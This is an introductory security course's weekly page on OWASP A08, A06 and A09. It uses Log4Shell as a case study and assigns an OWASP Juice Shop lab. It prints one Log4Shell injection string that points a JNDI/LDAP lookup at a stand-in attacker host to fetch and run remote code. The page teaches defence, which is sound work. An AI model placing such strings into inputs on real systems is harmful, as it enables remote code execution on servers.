Classroom Public page

SEC-101 Week 9: OWASP Top 10 III

1,267 words

Insecure deserialization (A08), components with known vulnerabilities and Log4Shell (A06), insufficient logging and monitoring (A09). Lab 7: OWASP Juice Shop walkthrough capstone.

Reading (~30 min)

Read the Wikipedia article on Log4Shell (CVE-2021-44228). This is the canonical "A06: Vulnerable and Outdated Components" case study. The Log4Shell timeline is important: the vulnerability was in Log4j (a logging library used by millions of Java applications), it was publicly disclosed in December 2021, and mass exploitation began within hours of disclosure. The reading prepares you for the case study in lecture.

Lecture outline (~1.5 hr)

Part 1: Insecure deserialization (A08) (25 min)

Serialization is the process of converting an in-memory object into a byte stream that can be stored or transmitted. Deserialization is the reverse: reading the byte stream and reconstructing the object.

Deserialization is a trust-boundary problem. When an application deserializes data from an untrusted source (a user-supplied cookie, a file upload, a network message), the deserialization process may reconstruct objects and invoke their methods before any application-level validation runs. This allows an attacker who controls the serialized data to trigger arbitrary code execution.

Java serialization as the canonical example:

Java's native serialization format is widely exploited because deserialization of a Java object can invoke its readObject() method, which may execute arbitrary code. A crafted Java serialized object that triggers a "gadget chain" (a sequence of method calls through library classes) can execute arbitrary system commands.

The Apache Commons Collections library contained gadget chains that were exploitable across many Java applications until the bug was addressed. CVE-2015-4852 (WebLogic), CVE-2015-7501 (JBoss), and related CVEs are all deserialization bugs that exploit Commons Collections gadget chains.

The fix:

  • Avoid deserializing data from untrusted sources entirely. If you need to transmit structured data, use a format with no object instantiation (JSON, protobuf, MessagePack, CBOR).
  • If deserialization of untrusted data is unavoidable: use a type allowlist (deserialize only objects of expected types), use a deserialization firewall, and run the deserialization in a sandbox.
  • OWASP A08 now also includes CI/CD integrity failures: unsigned software updates, tampered build artifacts, malicious dependencies injected into a build pipeline. The supply-chain dimension of "software and data integrity failures."

Part 2: Components with known vulnerabilities and Log4Shell (A06) (35 min)

A06 covers the failure to update, replace, or remove vulnerable software components (libraries, frameworks, operating system packages, runtimes).

Log4Shell (CVE-2021-44228):

Log4j is the most widely-used Java logging library. In December 2021, a critical vulnerability was disclosed: Log4j performed a JNDI (Java Naming and Directory Interface) lookup on strings it logged. If a user-controlled string was logged (such as an HTTP User-Agent header or a login username), an attacker could inject a string like:

${jndi:ldap://attacker.com/payload}

Log4j would follow the LDAP URL, fetch a Java class from the attacker's server, and execute it. The attack surface was enormous: any Java application that logged any user-controlled input (which is essentially all of them) and had Log4j in its dependency tree.

The timeline:

  • November 2021: Vulnerability reported to the Apache Security team.
  • December 9, 2021: Public disclosure (with working proof-of-concept).
  • December 9-10, 2021: Mass exploitation in the wild begins.
  • December 10-17, 2021: Emergency patches released (Log4j 2.15.0, 2.16.0, 2.17.0 as researchers found additional issues).
  • Days to weeks: Most organizations with affected systems were actively exploited before patches could be applied.

Why Log4Shell matters for SEC-101:

  1. A library dependency is an attack surface. Log4j was not a user-facing application; it was a logging library. Organizations did not know they ran it; it was an indirect dependency of other frameworks they used. The Log4Shell response required organizations to first audit what they ran before they could patch it.

  2. The attack surface multiplied by context. Log4j processed any string it logged. Every log statement in every Java application was potentially an attack surface. This is injection (A03) enabled by a vulnerable component (A06).

  3. Remediation speed matters. Organizations with good software inventory (knowing what software runs where) patched in hours to days. Organizations without it patched in days to weeks. The difference was the window of exploitation.

The fix for A06:

  • Know what software you run (Software Bill of Materials, SBOM). Log4Shell's first responders had to answer "do we even use Log4j?" before they could assess their exposure.
  • Subscribe to vulnerability feeds (CISA KEV, NVD, vendor security bulletins) for the software you use.
  • Maintain a patching process: a clear owner, a defined SLA (e.g., critical vulnerabilities patched within 72 hours), and a verification mechanism.
  • Dependency scanning in CI/CD pipelines (tools like Dependabot, Snyk, OWASP Dependency-Check) catches known-vulnerable components before deployment.

Part 3: Insufficient logging and monitoring (A09) (20 min)

A09 covers the failure to log security-relevant events with enough detail to detect and investigate attacks.

What should be logged:

  • Authentication events: successful logins, failed logins, password resets, MFA events
  • Authorization failures: requests that were denied, requests for resources the user doesn't own
  • Input validation failures: unexpected input that was rejected
  • Application errors: exceptions with context (but without leaking sensitive data in error messages)
  • Administrative actions: account creation, permission changes, configuration changes

What good logs contain:

  • Timestamp (UTC, with millisecond precision)
  • Who: user ID, session ID, source IP
  • What: the action attempted
  • Outcome: success or failure
  • Where: which endpoint, which resource

Why logging failures matter for incident response: an attacker who compromises a system and then clears logs (or an attacker who exploits a system that never logged) leaves the defender with no record of what happened. Without logs, you cannot determine the scope of the breach, the attacker's access, or what data was taken.

Log4Shell specifically: organizations that did not log User-Agent headers (a common source of the injected JNDI strings) had no forensic record of whether they had been successfully exploited.

Lab exercises (~1.5 hr)

Lab 7: OWASP Juice Shop walkthrough (graded)

See labs/lab-7-juice-shop-owasp.md for the full lab.

This is the Juice Shop capstone for SEC-101: complete at least 12 challenges across the full OWASP Top 10 category range. Document each technique and the underlying vulnerability class.

Independent practice (~5 hr)

  • Reading (1 hr): Read the CISA Log4Shell advisory (search "CISA Log4Shell advisory 2021"). This is an official government document instructing federal agencies how to respond. It is a model of incident-response communication: clear scope statement, specific mitigations, explicit timeline.
  • picoCTF spine (3 hr): Push into Web Exploitation intermediate or begin Binary Exploitation beginner challenges. The Binary Exploitation beginner challenges are typically buffer overflow warm-ups; they are the SEC-101 entry point to the content RE-011 and RE-101 develop.
  • Reflection (1 hr): Write the prompts below.

Reflection prompts

  1. Log4Shell's JNDI injection attacked the logging library, not the application's business logic. The fix required identifying every Java application that ran Log4j (directly or as a transitive dependency). What does this tell you about the relationship between "the application I wrote" and "the attack surface I own"? How does a Software Bill of Materials (SBOM) change the response time to a vulnerability like Log4Shell?

  2. Insecure deserialization (A08) and injection (A03) share a common structure: data from an untrusted source is interpreted as instructions rather than as data. Describe the trust boundary that is missing or not enforced in each case. What is the analogous fix for each?

  3. The Juice Shop challenge set covers all ten OWASP Top 10 categories. After completing 12 challenges, which category was hardest to understand and why? What would you need to learn to go deeper in that category? (This is a preview of the capstone: the "what I didn't know" reflection.)

Week 9 of 14. Next: Blue-team operations (SIEM, incident-response lifecycle, MITRE ATT&CK framework).